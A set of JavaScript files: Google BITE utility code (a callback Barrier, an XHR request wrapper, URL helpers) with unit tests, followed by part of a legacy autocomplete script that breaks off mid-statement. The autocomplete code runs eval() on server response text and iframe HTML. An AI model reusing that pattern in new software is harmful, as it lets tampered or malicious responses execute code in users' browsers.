function(newMax) { if (newMax <= 0 || newMax == this.maxEntries_) { return; } this.maxEntries_ = newMax; var diff = this.entries_.length - this.maxEntries_; if (diff > 0) { this.entries_.splice(0, diff); } };
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview The barrier concept is a function that blocks while there are * outstanding users of the barrier. Each user increments a counter on the * barrier to mark themselves as barrier users. When the user is done they can * fire the barrier, decreasing the counter by one. When the counter reaches * zero the associated callback function is called. The barrier is considered * down once the count reaches zero and can continue to be fired. Subsequent * calls to increment will start the counter moving up again from zero. * * When creating a new Barrier object the associated callback does not * receive any inputs as the Barrier has no context for the callback. If * specific values are to be passed on to the callback then they should be * bound before creating the barrier. * * If opt_numCalls is not supplied then the barrier will fire immediately. * Otherwise, the barrier starts with a positive counter that must be counted * down before firing. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.common.utils.Barrier'); /** * Constructs a new Barrier object; see the file overview for more details. * @param {function()} callback The callback function to be fired when the * appropriate conditions have been met. * @param {number=} opt_numCalls The number of calls before calling the given * callback. * @constructor */ bite.common.utils.Barrier = function(callback, opt_numCalls) { /** * The callback function to fire when the barrier is down. * @type {function()} * @private */ this.callback_ = callback; /** * The number of calls to fire that must occur before the associated callback * is fired. Acts like a count down. * @type {number} * @private */ this.numCalls_ = opt_numCalls && opt_numCalls > 0 ? opt_numCalls : 0; }; /** * Increase the count before the callback is fired. */ bite.common.utils.Barrier.prototype.increment = function() { ++this.numCalls_; }; /** * Subtract one from the count. Once the count reaches zero the callback will * fire and will continue to fire with each subsequent call where the count * is zero. */ bite.common.utils.Barrier.prototype.fire = function() { this.numCalls_ && --this.numCalls_; // Decrement if > 0. this.numCalls_ || this.callback_(); // Fire callback if == 0. };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for bite.common.signal.Simple. * * Test cases: * testIncrementAndOptCalls * testIncrement * testRepeatFire * testNoOptCalls * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.require('bite.common.utils.Barrier'); /** * Sets up the environment for each unit test. */ function setUp() {} /** * Cleans up the environment for each unit test. */ function tearDown() {} /** * Tests that incrementing after the barrier is created with opt_numCalls by * starting the barrier at one and then incrementing by one. When fired three * times, the callback will be fired once. */ function testIncrementAndOptCalls() { var counter = 0; var callback = function() { ++counter; }; var barrier = new bite.common.utils.Barrier(callback, 1); barrier.increment(); barrier.fire(); barrier.fire(); // Fires immediately because it reaches zero on this firing. barrier.fire(); assertEquals(2, counter); } /** * Tests that the increment function causes the barrier to prevent firing until * the the counter reaches zero. Test increments by two and fires four times * to ensure the callback is only fired twice. */ function testIncrement() { var counter = 0; var callback = function() { ++counter; }; var barrier = new bite.common.utils.Barrier(callback); barrier.increment(); barrier.increment(); barrier.fire(); barrier.fire(); // Fires immediately because it reaches zero on this firing. barrier.fire(); barrier.fire(); assertEquals(3, counter); } /** * Tests that the barrier can fire repeatedly after it has been called once. */ function testRepeatFire() { var counter = 0; var callback = function() { ++counter; }; var barrier = new bite.common.utils.Barrier(callback); barrier.fire(); barrier.fire(); barrier.fire(); assertEquals(3, counter); } /** * Tests creating a barrier with no initial counter and ensure the barrier can * fire immediately. */ function testNoOptCalls() { var counter = 0; var callback = function() { ++counter; }; var barrier = new bite.common.utils.Barrier(callback); barrier.fire(); assertEquals(1, counter); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Provides an interface for doing XMLHttpRequests (Get/Post). * The mechanisms handle sending, receiving, and processing of a request * including error handling. The raw data received by the request is returned * to the caller through an optionally provided callback. When the caller * provides a callback, the callback function is expected to take two inputs; a * boolean success and a data string. Upon error, the callback will be * provided a false value and the data string containing an error message. * * Public functions: * get(url, opt_callback) - Performs a get. * getMultiple(array, getUrl, app, opt_complete) - Recursively gets a number * of urls asynchronously. *Looking to refactor.* * post(url, data, opt_callback, opt_headers) - Performs a post. * put(url, data, opt_callback, opt_headers) - Performs a put. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.common.net.xhr'); goog.provide('bite.common.net.xhr.async'); goog.require('bite.common.utils.Barrier'); goog.require('goog.net.XhrIo'); /** * A set of messages used to communicate externally. * @enum {string} * @private */ bite.common.net.xhr.ErrorMessage_ = { EXCEPTION: 'Exception: ', MISSING_URL: 'No url supplied.', REQUEST_FAILED: 'Request failed.' }; /** * Sends a request to the given url and returns the response. * @param {string} url The url. * @param {function(boolean, string)=} opt_callback The callback that is fired * when the request is complete. The boolean input is the success of the * action. If the action failed the string will be a simple error message. * Decoding does not occur for the response string, and is up to the caller * if necessary. */ bite.common.net.xhr.async.get = function(url, opt_callback) { var callback = opt_callback || null; bite.common.net.xhr.async.send_(url, callback, 'GET', null, null); } /** * Posts data to the given url and returns the response. * @param {string} url The url. * @param {string} data The data to send; in string form. Caller is * responsible for encoding the string if necessary. * @param {function(boolean, string)=} opt_callback The callback that is fired * when the request is complete. The boolean input is the success of the * action. If the action failed the string will be a simple error message. * Decoding does not occur for the response string, and is up to the caller * if necessary. Please pass null if no callback is desired but the * optional headers are desired. * @param {Object.<string>=} opt_headers Headers to be added to the request. */ bite.common.net.xhr.async.post = function(url, data, opt_callback, opt_headers) { var callback = opt_callback || null; var headers = opt_headers || null; bite.common.net.xhr.async.send_(url, callback, 'POST', data, headers); }; /** * Puts data to the given url and returns the response. * @param {string} url The url. * @param {string} data The data to send; in string form. Caller is * responsible for encoding the string if necessary. * @param {function(boolean, string)=} opt_callback The callback that is fired * when the request is complete. The boolean input is the success of the * action. If the action failed the string will be a simple error message. * Decoding does not occur for the response string, and is up to the caller * if necessary. Please pass null if no callback is desired but the * optional headers are desired. * @param {Object.<string>=} opt_headers Headers to be added to the request. */ bite.common.net.xhr.async.put = function(url, data, opt_callback, opt_headers) { var callback = opt_callback || null; var headers = opt_headers || null; bite.common.net.xhr.async.send_(url, callback, 'PUT', data, headers); }; /** * Start an asynchronous request for each element in the array at the same * time. Each time a request completes the app function is applied to the * element along with the success of the request and the data, or error, from * the request. Once all requests have completed the complete function will be * called on the entire array of elements. If during the app call more * requests are sent out then the current group will also wait for those * requests to finish. * TODO (jasonstredwick): Refactor this code. It is legacy but the design * could much improved and generalized. * @param {!Array.<*>} array An array of elements. * @param {function(*): string} getUrl A function that when applied to an * element from the array will return a url. If the function returns a * "false" value that element will not be added to the download list. * @param {function(*, boolean, string)} app A function that when applied to an * array element sending in the success and data from the request. * @param {function(Array.<*>)=} opt_complete The function to be called once * all the requests and child requests have completed. The original array * is passed in. */ bite.common.net.xhr.async.getMultiple = function(array, getUrl, app, opt_complete) { var async = bite.common.net.xhr.async; var openBarrier = async.getMultiple.prototype.openBarrier_; // If there is already a barrier in use and a new barrier is being created // then the current barrier needs to wait for the new one to finish thus // increment its count by one. // openBarrier && openBarrier.increment(); // The completeFunc is necessary regardless of whether or not the // opt_complete function is given in order to handle possible hierarchical // requests. var completeFunc = function() { opt_complete && opt_complete(array); // If there was a barrier active during this call it will need to be fired // upon the completion of this group of events. openBarrier && openBarrier.fire(); }; // Create a new barrier and set it to fire completeFunc after one fire. The // one is for this function so that if there are no elements to request this // function will fire at the end causing the completeFunc to fire. Each // element that is requested will increase the number of fires by one. var barrier = new bite.common.utils.Barrier(completeFunc, 1); for (var i = 0, len = array.length; i < len; ++i) { var element = array[i]; var url = getUrl(element); // The user has the ability to return null with getUrl to indicate that // the current element is not to be included in the set to load. if (!url) { continue; } // Create a function callback for each app(element) to ensure the proper // handling of hierarchical calls to getMultiple. var appFunc = (function(e, b, f) { return function(success, data) { async.getMultiple.prototype.openBarrier_ = b; f(e, success, data); async.getMultiple.prototype.openBarrier_ = null; b.fire(); }; })(element, barrier, app); barrier.increment(); async.get(url, appFunc); } element = array[0]; barrier.fire(); }; /** * If a barrier is being accessed then this variable will be set across all * barriers. That way if a new barrier is created it will know that it needs * to ensure this one waits until it is done. * * Note that this variable is not an array. The reason is that the creation * of a barrier in getMultiple does not call any user functions therefore no * nested calls are possible. The only barrier that is of potential concern is * the one calling the app callback, all the barriers created at that point are * essentially on the same level and have no interaction. * @type {?bite.common.utils.Barrier} * @private */ bite.common.net.xhr.async.getMultiple.prototype.openBarrier_ = null; /** * The callback that is fired when bite.common.net.xhr.async.get or * bite.common.net.xhr.async.post request completes. * @param {EventTarget} event The event. * @param {?function(boolean, string)} callback The callback will be fired * when the request returns. It will be passed a boolean for the success * of the request and either the data or error message respective to that * success. If the callback is null then the response is ignored. * @private */ bite.common.net.xhr.async.requestComplete_ = function(event, callback) { // Ignore response if no callback was supplied. if (!callback) { return; } var success = false; var msg = bite.common.net.xhr.ErrorMessage_.REQUEST_FAILED; try { var xhrIo = event.target; if (xhrIo.isSuccess()) { success = true; msg = xhrIo.getResponseText() || ''; } else { msg = '[' + xhrIo.getLastErrorCode() + '] ' + xhrIo.getLastError(); } } catch (error) { msg = bite.common.net.xhr.ErrorMessage_.EXCEPTION + error; } callback(success, msg); }; /** * Sends the asynchronous request given well defined inputs. * @param {string} url See bite.common.net.xhr.async.get. * @param {?function(boolean, string)} callback The callback to be fired when * the request is complete. Can be null if no callback was supplied. * @param {string} method The method used to send the request. * @param {string?} data The data to send or null if no data is supplied. * @param {Object.<string>} headers Optional request headers. Can be null if * no headers are supplied. * @private */ bite.common.net.xhr.async.send_ = function(url, callback, method, data, headers) { if (!url) { callback && callback(false, bite.common.net.xhr.ErrorMessage_.MISSING_URL); return; } var localCallback = function(event) { bite.common.net.xhr.async.requestComplete_(event, callback); }; try { goog.net.XhrIo.send(url, localCallback, method, data, headers); } catch (error) { var messages = bite.common.net.xhr.ErrorMessage_; callback && callback(false, messages.EXCEPTION + error); } }; /*---------------------------------------------------------------------------*/ /* TODO (jasonstredwick): Code below is outline for refactoring getMultiple. */ /*---------------------------------------------------------------------------*/ /** * Start a set of asynchronous requests for each element in an array of input * data. Each element in the array holds the information necessary to send the * request for itself. Once all the requests have completed, an optional all * complete callback will be fired given a list of objects containing the * success and data or potential error message corresponding with the list of * input data. If the user specifies a handler for an input data element to * process a completed request then its data upon success will not be recorded * in the final output list. * * To facilitate flexibility the function takes four functions that when * applied to an input data element will return specific information about that * element. This information is used to determine the appropriate type of * request for that element. * * @param {Array.<*>} inputData An array of data. * @param {function(*): string} getUrl A function that when applied to an * input data element will return a url. If the function returns an empty * string then that request will be ignored. * @param {function(*): ?function(boolean, string)} getHandler A function that * when applied to an input data element will return the a handler to * process the results of a completed request. If null then no handler * will be applied to the results and the data will appear in the final * output. If it is present then the final output will contain an empty * string. * @param {function(*): bite.common.net.xhr.Method} getMethod A function that * when applied to an input data element will return the method to use for * the request. * @param {function(*): string} getData A function that when applied to an * input data element will return the data for the request. If the method * does not support data then this function will not be called. * @param {function(Array.<?{success: string, result: string}>)=} opt_complete * The function to be called once all the requests are completed. The * function will be passed an array of objects containing the results of * requests that correspond to the input data list; same order. Skipped * requests will have null instead of an object. * @param {number=} opt_max The maximum number of simultaneous requests. If * not supplied then defaults to all. */ /* bite.common.net.xhr.async.multipleRequests = function(inputData, getUrl, getHandler, getMethod, getData, opt_complete, opt_max) { var onComplete = opt_complete || null; var maxAtOnce = opt_max || null; bite.common.net.xhr.async.sendMultiple_(inputData, getUrl, getHandler, getMethod, getData, onComplete, maxAtOnce); }; */ /** * See bite.common.net.xhr.async.multipeRequests for details about the function * and parameters. * @param {Array.<*>} inputData An array of data. * @param {function(*): string} getUrl A function. * @param {function(*): ?function(boolean, string)} getHandler A function. * @param {function(*): bite.common.net.xhr.Method} getMethod A function. * @param {function(*): string} getData A function. * @param {?function(Array.<?{success: string, result: string}>)} complete * An optional callback function. * @param {?number} maxAtOnce The maximum number of simultaneous requests. If * null then send all at once. */ /* bite.common.net.xhr.async.sendMultiple_ = function(inputData, getUrl, getHandler, getMethod, getData, complete) { }; */
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview The file provides utility functions for manipulating urls. * * Public data: * Regex - An enumeration of useful regular expressions. * * Public functions: * isAbsolute(url, opt_scheme) - Determines if the given url is an absolute * url or not. * toAbsolute(url, base, opt_scheme) - Converts url to an absolute url using * base. If the url is already absolute then do nothing. * * Usage: * bite.common.net.url.Regex.VALID_SCHEME.test('http://a/'); // true * * bite.common.net.url.isAbsolute('other://a/b/c', 'other'); // true * bite.common.net.url.isAbsolute('/a/b/c'); // false * * bite.common.net.url.toAbsolute('/b/c', 'http:/a/'); // 'http:/a/b/c' * bite.common.net.url.toAbsolute('b/c', 'http:/a'); // 'http:/a/b/c' * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.common.net.url'); /** * A regular expression representing valid url schemes. * @enum {RegExp} */ bite.common.net.url.Regex = { // Valid url root (scheme://). VALID_ROOT: /^(http|https|ftp|file)[:][/][/]/, // Valid url schemes (standard). VALID_SCHEME: /^(http|https|ftp|file)/ }; /** * Determines if the url is absolute by examining the beginning of the url * looking for a valid root (scheme://). The function does not validate the * full url to ensure it is valid; it assumes the user passes a valid url. * @param {string} url The url to check. * @param {string=} opt_scheme If an optional scheme is supplied then use it * to check if a url is absolute. This is useful for non-standard urls * such as chrome://. * @return {boolean} Whether or not the url is absolute. */ bite.common.net.url.isAbsolute = function(url, opt_scheme) { if (opt_scheme) { return RegExp(opt_scheme + '[:][/][/]').test(url); } return bite.common.net.url.Regex.VALID_ROOT.test(url); }; /** * Converts a url to an absolute url unless the url is already an absolute url * in which case nothing changes. Otherwise the base and url are concatenated * to form a new absolute url. Upon invalid base url, the function will return * the empty string. * @param {string} url The original url. * @param {string} base The base url. * @param {string=} opt_scheme If an optional scheme is supplied then use it * to check if a url is absolute. This is useful for non-standard urls * such as chrome://. * @return {string} The new url, the same if it is already absolute, or the * empty string for invalid inputs. */ bite.common.net.url.toAbsolute = function(url, base, opt_scheme) { // If the url starts with a valid scheme then consider it an absolute url and // return it. if (bite.common.net.url.isAbsolute(url, opt_scheme)) { return url; } // Check for invalid inputs. Testing whether the base url is absolute also // checks for the empty string. if (!bite.common.net.url.isAbsolute(base, opt_scheme)) { return ''; } // Ensure that a single slash will join the two strings. return [ base.substr(0, base.length - (base[base.length - 1] == '/' ? 1 : 0)), url.substr((url[0] == '/' ? 1 : 0), url.length) ].join('/'); }; /** * Converts a url to its full path meaning everything from the scheme to the * final slash; i.e. cut off anything after the final slash. * @param {string} url The url to manipulate. * @return {string} The full path. */ bite.common.net.url.getFullPath = function(url) { return url.replace(/[^/]+$/, ''); };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for bite.common.net.xhr. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.require('bite.common.net.xhr'); goog.require('goog.testing.PropertyReplacer'); /** * Create an event that will return false meaning the request failed. It * also provides an error code and error message. * @type {!Object} */ var failEvent = { target: { getLastError: function() { return 'error' }, getLastErrorCode: function() { return 400; }, getResponseText: function() { return 'fail'; }, isSuccess: function() { return false; } } } /** * A string represent the error message sent back by the fail event. * @type {string} */ var FAIL_MESSAGE = '[' + failEvent.target.getLastErrorCode() + '] ' + failEvent.target.getLastError(); /** * A string represent the success message sent back by the success event. * @type {string} */ var SUCCESS_MESSAGE = 'success'; /** * Create an event that will return false meaning the request failed. It * also provides an error code and error message. * @type {!Object} */ var successEvent = { target: { getLastError: function() { return 'none' }, getLastErrorCode: function() { return 200; }, getResponseText: function() { return SUCCESS_MESSAGE; }, isSuccess: function() { return true; } } } /** * Replace the Xhr send function. * @param {string} url The url. * @param {Function} callback The callback. */ function send(url, callback) { if (url == 'fail') { callback(failEvent); } else { callback(successEvent); } } /** * Create stub object. * @type {goog.testing.PropertyReplacer} */ var stubs_ = new goog.testing.PropertyReplacer(); stubs_.set(goog.net.XhrIo, 'send', send); /** * Setup performed for each test. */ function setUp() { } /** * Cleanup performed for each test. */ function tearDown() { } /** * Callback function that validates inputs sent from an XHR call. * @param {string} msg The message given to assert to identify the specific * test. * @param {boolean} expectedSuccess The expected value for success. * @param {string} expectedData The expected value for data. * @param {boolean} success The value passed from the request. * @param {string} data The data passed from the request. */ function validate(msg, expectedSuccess, expectedData, success, data) { assertEquals(msg, expectedSuccess, success); assertEquals(msg, expectedData, data); } /** * Test the functions expecting a valid response. */ function testResponse() { var msg = '(Response)'; var url = 'pass'; var data = ''; var response = SUCCESS_MESSAGE; var callback = goog.partial(validate, 'AsyncGet' + msg, true, response); bite.common.net.xhr.async.get(url, callback); callback = goog.partial(validate, 'AsyncPost' + msg, true, response); bite.common.net.xhr.async.post(url, data, callback); callback = goog.partial(validate, 'AsyncPut' + msg, true, response); bite.common.net.xhr.async.put(url, data, callback); } /** * Test the functions expecting a valid response but no callback provided. */ function testNoCallback() { var msg = '(No callback)'; var url = 'pass'; var data = ''; var errorMsg = ' failed when optional callback was not supplied: '; try { bite.common.net.xhr.async.get(url); } catch (error) { fail(msg + 'AsyncGet' + errorMsg + error); } try { bite.common.net.xhr.async.post(url, data); } catch (error) { fail(msg + 'AsyncPost' + errorMsg + error); } try { bite.common.net.xhr.async.put(url, data); } catch (error) { fail(msg + 'AsyncPut' + errorMsg + error); } } /** * Test the functions where the request receives a response but the request * failed with a specific error code and error message. */ function testRequestFailedException() { var msg = '(Request Failed)'; var url = 'fail'; var data = ''; var callback = goog.partial(validate, 'AsyncGet' + msg, false, FAIL_MESSAGE); bite.common.net.xhr.async.get(url, callback); callback = goog.partial(validate, 'AsyncPost' + msg, false, FAIL_MESSAGE); bite.common.net.xhr.async.post(url, data, callback); callback = goog.partial(validate, 'AsyncPut' + msg, false, FAIL_MESSAGE); bite.common.net.xhr.async.put(url, data, callback); } /** * Test the functions with no url. Assumes that any false input will suffice * for "no url" meaning null, undefined, and ''. */ function testMissingUrl() { var msg = '(Missing Url)'; var url = ''; var data = ''; var callback = goog.partial(validate, 'AsyncGet' + msg, false, bite.common.net.xhr.ErrorMessage_.MISSING_URL); bite.common.net.xhr.async.get(url, callback); callback = goog.partial(validate, 'AsyncPost' + msg, false, bite.common.net.xhr.ErrorMessage_.MISSING_URL); bite.common.net.xhr.async.post(url, data, callback); callback = goog.partial(validate, 'AsyncPut' + msg, false, bite.common.net.xhr.ErrorMessage_.MISSING_URL); bite.common.net.xhr.async.put(url, data, callback); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for bite.common.net.url. * * Test cases: * testGetFullPath * testToAbsolute * testIsAbsolute * testRegex * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.require('bite.common.net.url'); /** * Tests that getFullPath works as expected. */ function testGetFullPath() { var getFullPath = bite.common.net.url.getFullPath; assertEquals('1', '', getFullPath('')); assertEquals('2', '', getFullPath('a')); assertEquals('3', '/', getFullPath('/b')); assertEquals('4', '/', getFullPath('/')); assertEquals('5', 'a/', getFullPath('a/b')); assertEquals('6', 'http://', getFullPath('http://')); assertEquals('7', 'http://', getFullPath('http://a')); assertEquals('8', 'http://a/', getFullPath('http://a/b')); assertEquals('9', 'http://a/', getFullPath('http://a/b.html')); } /** * Tests that the given url can be correctly converted to an absolute url. */ function testToAbsolute() { var toAbsolute = bite.common.net.url.toAbsolute; // Valid tests. assertEquals('1', 'http://a/b', toAbsolute('b', 'http://a')); assertEquals('2', 'http://a/b', toAbsolute('a/b', 'http://')); assertEquals('3', 'http://a/b/', toAbsolute('', 'http://a/b')); // Test valid slash concatenation. assertEquals('4', 'http://a/b', toAbsolute('b', 'http://a')); assertEquals('5', 'http://a/b', toAbsolute('/b', 'http://a')); assertEquals('6', 'http://a/b', toAbsolute('b', 'http://a/')); assertEquals('7', 'http://a/b', toAbsolute('/b', 'http://a/')); // Test optional scheme. assertEquals('8', 'other://a/b', toAbsolute('b', 'other://a', 'other')); // Invalid tests. assertEquals('9', '', toAbsolute('b', 'other://a')); assertEquals('10', '', toAbsolute('b', '')); assertEquals('11', '', toAbsolute('b', 'text')); } /** * Tests that isAbsolute correctly matches urls with the appropriate scheme and * the optional scheme. */ function testIsAbsolute() { // Valid tests. assertTrue('1', bite.common.net.url.isAbsolute('http://a/')); assertTrue('2', bite.common.net.url.isAbsolute('https://a/')); assertTrue('3', bite.common.net.url.isAbsolute('ftp://a/')); assertTrue('4', bite.common.net.url.isAbsolute('file:///')); assertTrue('5', bite.common.net.url.isAbsolute('other://a/', 'other')); // Invalid tests. // Invalid due to space before http. assertFalse('6', bite.common.net.url.isAbsolute(' http://a/')); // Invalid due to missing '/'. assertFalse('7', bite.common.net.url.isAbsolute('http:/a/')); // Invalid due to invalid scheme. assertFalse('8', bite.common.net.url.isAbsolute('other://a/')); } /** * Tests the regular expressions to ensure they match properly. */ function testRegex() { // Test bite.common.net.url.Regex.VALID_ROOT. // Valid tests. assertTrue('1', bite.common.net.url.Regex.VALID_ROOT.test('http://')); assertTrue('2', bite.common.net.url.Regex.VALID_ROOT.test('https://')); assertTrue('3', bite.common.net.url.Regex.VALID_ROOT.test('ftp://')); assertTrue('4', bite.common.net.url.Regex.VALID_ROOT.test('file://')); // Invalid tests. // Invalid due to space before http. assertFalse('5', bite.common.net.url.Regex.VALID_ROOT.test(' http://')); // Invalid due to missing '/'. assertFalse('6', bite.common.net.url.Regex.VALID_ROOT.test('http:/')); // Invalid due to invalid scheme. assertFalse('7', bite.common.net.url.Regex.VALID_ROOT.test('other://')); // Test bite.common.net.url.Regex.VALID_SCHEME. // Valid tests. assertTrue('8', bite.common.net.url.Regex.VALID_SCHEME.test('http')); assertTrue('9', bite.common.net.url.Regex.VALID_SCHEME.test('https')); assertTrue('10', bite.common.net.url.Regex.VALID_SCHEME.test('ftp')); assertTrue('11', bite.common.net.url.Regex.VALID_SCHEME.test('file')); // Invalid tests. // Invalid due to space before http. assertFalse('12', bite.common.net.url.Regex.VALID_SCHEME.test(' http')); // Invalid due to invalid scheme. assertFalse('13', bite.common.net.url.Regex.VALID_SCHEME.test('other')); }
JavaScript
String.prototype.trim = function() { return this.replace(/^[\s]+|[\s]+$/, ""); }; function SuggestFramework_Create(instance) { if(SuggestFramework_Name[instance] && SuggestFramework_Action[instance]) { SuggestFramework_InputContainer[instance] = document.getElementById(SuggestFramework_Name[instance]); SuggestFramework_InputContainer[instance].autocomplete = "off"; SuggestFramework_InputContainer[instance].onblur = function() { SuggestFramework_HideOutput(instance); }; SuggestFramework_InputContainer[instance].onclick = function() { SuggestFramework_ShowOutput(instance); SuggestFramework_Previous[instance] = '';}; SuggestFramework_InputContainer[instance].onfocus = function() { SuggestFramework_ShowOutput(instance); }; SuggestFramework_InputContainer[instance].onkeydown = function(event) { SuggestFramework_ProcessKeys(instance, event); }; SuggestFramework_OutputContainer[instance] = document.createElement("div"); SuggestFramework_OutputContainer[instance].id = SuggestFramework_Name[instance] + "SuggestList"; SuggestFramework_OutputContainer[instance].className = "SuggestFramework_List"; SuggestFramework_OutputContainer[instance].style.position = "absolute"; SuggestFramework_OutputContainer[instance].style.zIndex = "1"; SuggestFramework_OutputContainer[instance].style.width = SuggestFramework_InputContainer[instance].clientWidth + "px"; SuggestFramework_OutputContainer[instance].style.wordWrap = "break-word"; SuggestFramework_OutputContainer[instance].style.cursor = "default"; SuggestFramework_InputContainer[instance].parentNode.insertBefore(SuggestFramework_OutputContainer[instance], SuggestFramework_InputContainer[instance].nextSibling); SuggestFramework_InputContainer[instance].parentNode.insertBefore(document.createElement("br"), SuggestFramework_OutputContainer[instance]); if(!SuggestFramework_CreateConnection()) { SuggestFramework_Proxy[instance] = document.createElement("iframe"); SuggestFramework_Proxy[instance].id = "proxy"; SuggestFramework_Proxy[instance].style.width = "0"; SuggestFramework_Proxy[instance].style.height = "0"; SuggestFramework_Proxy[instance].style.display = "none"; document.body.appendChild(SuggestFramework_Proxy[instance]); if(window.frames && window.frames["proxy"]) SuggestFramework_Proxy[instance] = window.frames["proxy"]; else if(document.getElementById("proxy").contentWindow) SuggestFramework_Proxy[instance] = document.getElementById("proxy").contentWindow; else SuggestFramework_Proxy[instance] = document.getElementById("proxy"); } SuggestFramework_Previous[instance] = SuggestFramework_InputContainer[instance].value; SuggestFramework_HideOutput(instance); SuggestFramework_Throttle(instance); } else { throw 'Error: SuggestFramework for instance "' + SuggestFramework_Name[instance] + '" not initialized'; } }; function SuggestFramework_CreateConnection() { var asynchronousConnection; try { asynchronousConnection = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { if(typeof(XMLHttpRequest) != "undefined") asynchronousConnection = new XMLHttpRequest(); } return asynchronousConnection; }; function SuggestFramework_HideOutput(instance) { SuggestFramework_OutputContainer[instance].style.display = "none"; }; function SuggestFramework_Highlight(instance, index) { SuggestFramework_SuggestionsIndex[instance] = index; for(var i in SuggestFramework_Suggestions[instance]) { var suggestColumns = document.getElementById(SuggestFramework_Name[instance] + "Suggestions[" + i + "]").getElementsByTagName("td"); for(var j in suggestColumns) suggestColumns[j].className = "SuggestFramework_Normal"; } var suggestColumns = document.getElementById(SuggestFramework_Name[instance] + "Suggestions[" + SuggestFramework_SuggestionsIndex[instance] + "]").getElementsByTagName("td"); for(var i in suggestColumns) suggestColumns[i].className = "SuggestFramework_Highlighted"; }; function SuggestFramework_IsHidden(instance) { return ((SuggestFramework_OutputContainer[instance].style.display == "none") ? true : false); }; function SuggestFramework_ProcessKeys(instance, e) { var keyDown = 40; var keyUp = 38; var keyTab = 9; var keyEnter = 13; var keyEscape = 27; var keyPressed = ((window.event) ? window.event.keyCode : e.which); if(!SuggestFramework_IsHidden(instance)) { switch(keyPressed) { case keyDown: SuggestFramework_SelectNext(instance); return; case keyUp: SuggestFramework_SelectPrevious(instance); return; case keyTab: SuggestFramework_SelectThis(instance); return; case keyEnter: SuggestFramework_SelectThis(instance); return; case keyEscape: SuggestFramework_HideOutput(instance); return; default: return; } } }; function SuggestFramework_ProcessProxyRequest(instance) { var result = ((SuggestFramework_Proxy[instance].document) ? SuggestFramework_Proxy[instance].document : SuggestFramework_Proxy[instance].contentDocument); result = result.body.innerHTML.replace(/\r|\n/g, " ").trim(); if(typeof(eval(result)) == "object") SuggestFramework_Suggest(instance, eval(result)); else setTimeout("SuggestFramework_ProcessProxyRequest(" + instance + ")", 100); }; function SuggestFramework_ProcessRequest(instance) { if(SuggestFramework_Connection[instance].readyState == 4) { if(SuggestFramework_Connection[instance].status == 200) { SuggestFramework_Suggest(instance, eval(SuggestFramework_Connection[instance].responseText)); } } }; function SuggestFramework_Query(instance) { SuggestFramework_Throttle(instance); var phrase = SuggestFramework_InputContainer[instance].value; if(phrase == "" || phrase == SuggestFramework_Previous[instance]) return; SuggestFramework_Previous[instance] = phrase; //alert(SuggestFramework_Previous[instance]+' = '+phrase); phrase = phrase.trim(); phrase = escape(phrase); SuggestFramework_Request(instance, SuggestFramework_Action[instance] + "?type=" + SuggestFramework_Name[instance] + "&q=" + phrase); }; function SuggestFramework_Request(instance, url) { if(SuggestFramework_Connection[instance] = SuggestFramework_CreateConnection()) { SuggestFramework_Connection[instance].onreadystatechange = function() { SuggestFramework_ProcessRequest(instance) }; SuggestFramework_Connection[instance].open("GET", url, true); SuggestFramework_Connection[instance].send(null); } else { SuggestFramework_Proxy[instance].location.replace(url); SuggestFramework_ProcessProxyRequest(instance); } }; function SuggestFramework_SelectThis(instance, index) { if(!isNaN(index)) SuggestFramework_SuggestionsIndex[instance] = index; if(SuggestFramework_Columns[instance] > 1) SuggestFramework_InputContainer[instance].value = SuggestFramework_Suggestions[instance][SuggestFramework_SuggestionsIndex[instance]][SuggestFramework_Capture[instance] - 1]; else SuggestFramework_InputContainer[instance].value = 